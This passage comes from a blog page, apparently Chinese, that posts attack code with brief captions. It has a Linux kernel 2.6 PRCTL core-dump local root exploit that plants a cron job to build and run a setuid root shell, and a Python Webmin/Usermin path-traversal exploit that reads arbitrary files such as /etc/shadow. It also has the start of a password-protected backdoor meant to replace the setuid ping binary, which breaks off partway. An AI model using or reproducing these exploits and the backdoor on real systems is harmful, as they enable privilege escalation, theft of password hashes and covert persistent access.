#008000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[&nbsp;10.Jul.2006&nbsp;]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">******************************************************</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/time.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/resource.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;linux/prctl.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;stdlib.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/types.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;signal.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">payload</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n*&nbsp;*&nbsp;*&nbsp;*&nbsp;*&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;&nbsp;echo&nbsp;-e&nbsp;\</span><span style="COLOR: #000000">"</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;\\nint&nbsp;main(){\\nsetuid(0);setgid(0);setreuid(0);system(\\\"/bin/sh\\\");return&nbsp;0;\\n}\\n\"&nbsp;&gt;&nbsp;/tmp/fakesh.c;gcc&nbsp;-o&nbsp;/tmp/fakesh&nbsp;/tmp/fakesh.c;chmod&nbsp;+s&nbsp;/tmp/fakesh;rm&nbsp;-f&nbsp;/tmp/fakesh.c;/tmp/fakesh;rm&nbsp;-f&nbsp;/etc/cron.d/core\n";</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main()&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;child;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;rlimit&nbsp;corelimit;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Linux&nbsp;Kernel&nbsp;2.6.x&nbsp;PRCTL&nbsp;Core&nbsp;Dump&nbsp;Handling&nbsp;-&nbsp;Local&nbsp;r00t\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">By:&nbsp;dreyer&nbsp;&amp;&nbsp;RoMaNSoFt\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Last&nbsp;modified&nbsp;By:&nbsp;wofeiwo&nbsp;(chage&nbsp;shellcode)\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Last&nbsp;edited:&nbsp;[&nbsp;13.Jul.2006&nbsp;]\n\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;corelimit</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rlim_cur&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RLIM_INFINITY;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;corelimit</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">rlim_max&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;RLIM_INFINITY;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;setrlimit(RLIMIT_CORE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">corelimit);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Creating&nbsp;Cron&nbsp;entry\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">(&nbsp;child&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;fork()&nbsp;))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">chdir</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/etc/cron.d</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prctl(PR_SET_DUMPABLE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;kill(child</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;SIGSEGV);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Sleeping&nbsp;for&nbsp;aprox.&nbsp;one&nbsp;minute&nbsp;(**&nbsp;please&nbsp;wait&nbsp;**)\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">63</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[*]&nbsp;Running&nbsp;shell&nbsp;(remember&nbsp;to&nbsp;remove&nbsp;/tmp/fakesh&nbsp;when&nbsp;finished)&nbsp;<img src="http://www.phpweblog.net/Images/dot.gif">\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">system</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/tmp/fakesh</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<br>python写的,去年webmin 一个高危漏洞的exp<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/python</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Webmin&nbsp;-&nbsp;Usermin&nbsp;Arbitrary&nbsp;File&nbsp;Disclosure&nbsp;Exploit</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Write&nbsp;by&nbsp;wofeiwo</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Date:&nbsp;July&nbsp;10&nbsp;2006</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sys,&nbsp;urllib,&nbsp;os<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;usage&nbsp;(name):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">Webmin&nbsp;-&nbsp;Usermin&nbsp;Arbitrary&nbsp;File&nbsp;Disclosure&nbsp;Exploit\nWrite&nbsp;by&nbsp;wofeiwo&nbsp;&lt;wofeiwo[0x40]gmail[dot]com&gt;\n\nUsage:&nbsp;%s&nbsp;&lt;target&gt;&nbsp;&lt;file&gt;\nExamples:&nbsp;%s&nbsp;http://localhost:10000/&nbsp;/etc/shadow\n</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">&nbsp;(name,&nbsp;name)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;main&nbsp;():<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;len(sys.argv)&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(filepath,&nbsp;filename)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;os.path.split(sys.argv[0])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(filename)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">unauthenticated</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">/..%01</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">61</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">/</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;sys.argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;urllib.urlopen(target)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getfile&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sock.read()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sock.close()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;getfile<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__name__</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">"</span><span style="COLOR: #800000">__main__</span><span style="COLOR: #800000">"</span><span style="COLOR: #000000">:&nbsp;main()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>n年前写的替换系统ping的后门,因为ping是有s位的:)<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;&lt;stdio.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;signal.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/param.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/types.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;sys/stat.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;unistd.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;fcntl.h&gt;&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">include&nbsp;&lt;errno.h&gt;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">define&nbsp;PWD&nbsp;"wofeiwo"</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;init&nbsp;the&nbsp;daemon,&nbsp;if&nbsp;success&nbsp;return&nbsp;0&nbsp;other&nbsp;&lt;0&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;daemon_init()&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;sigaction&nbsp;act;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;maxfd;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(fork()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(setsid()&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;act</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sa_handler&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;SIG_IGN;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">act.sa_mask&nbsp;=&nbsp;0;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;act</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sa_flags&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;sigaction(SIGHUP</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">act</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(fork()&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">chdir</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">umask</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;maxfd&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sysconf(_SC_OPEN_MAX);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">maxfd;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;close(i);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;open(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/dev/null</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;O_RDWR);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dup(</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">j</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;argv_execv[</span><span style="COLOR: #000000">52</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">128</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;usage[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"><br><img 